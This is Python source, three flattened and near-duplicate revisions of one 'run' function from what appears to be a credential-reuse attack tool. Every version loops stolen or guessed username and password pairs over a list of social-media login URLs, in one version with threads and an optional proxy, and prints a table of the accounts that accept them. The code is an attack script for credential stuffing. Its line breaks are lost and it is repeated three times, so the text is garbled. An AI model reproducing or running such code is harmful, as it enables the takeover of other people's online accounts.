def run(options, creds): social_urls = data.social_urls().replace("\t", "").split("\n") for url in social_urls: if options.url in url: social_urls.remove(url) result = Queue() #workers = [] try: for tryCreds in creds: for url in social_urls: submit(url, options, tryCreds, result) # if len(workers) == options.threads: # do_job(workers) # del workers[:] # worker = threading.Thread( # target = submit, # args = (url, options, tryCreds, result) # ) #worker.daemon = True #workers.append(worker) #do_job(workers) #del workers[:] except KeyboardInterrupt: utils.printf("[!] Terminated by user! WhAt ThE f**K!", "bad") import os os._exit(0) except SystemExit: utils.die("[!] Terminated by system! WhAt ThE f**K!", "SystemExit") except Exception as err: utils.die("[!] ReAuth: Runtime error", err) finally: result = list(result.queue) if len(result) == 0: utils.printf("[-] No other valid passwords found.. :(", "bad") else: utils.print_table(("Target", "Username", "Password"), *result)
def run(options, creds): social_urls = data.social_urls().replace("\t", "").split("\n") for url in social_urls: if options.url in url: social_urls.remove(url) result = Queue() # workers = [] try: for tryCreds in creds: for url in social_urls: submit(url, options, tryCreds, result) # if len(workers) == options.threads: # do_job(workers) # del workers[:] # worker = threading.Thread( # target = submit, # args = (url, options, tryCreds, result) # ) # worker.daemon = True # workers.append(worker) # do_job(workers) # del workers[:] except KeyboardInterrupt: events.error("Terminated by user", "STOPPED") sys.exit(1) except SystemExit: events.error("Terminated by system", "STOPPED") except Exception as error: events.error("%s" % (error), "REAUTH") sys.exit(1) finally: result = list(result.queue) if len(result) == 0: events.error("No valid account found", "RESULT") else: from utils import print_table print_table(("Target", "Username", "Password"), *result)
def run(checkedURL, creds, optionThreads, optionProxy, optionVerbose): social_urls = data.social_urls().replace("\t", "").split("\n") for url in social_urls: # BUG double_free() if checkedURL in url: social_urls.remove(url) result = Queue() workers = [] try: for tryCreds in creds: for url in social_urls: if actions.size_o(workers) == optionThreads: do_job(workers) del workers[:] worker = threading.Thread(target=submit, args=(url, tryCreds, optionProxy, optionVerbose, result)) worker.daemon = True workers.append(worker) do_job(workers) del workers[:] except KeyboardInterrupt: utils.die("[x] Terminated by user!", "KeyboardInterrupt") except SystemExit: utils.die("[x] Terminated by system!", "SystemExit") except Exception as err: utils.die("[x] ReAuth: Runtime error", err) finally: result = list(result.queue) if actions.size_o(result) == 0: utils.printf("[-] No extra valid password found", "bad") else: utils.print_table(("Target", "Username", "Password"), *result)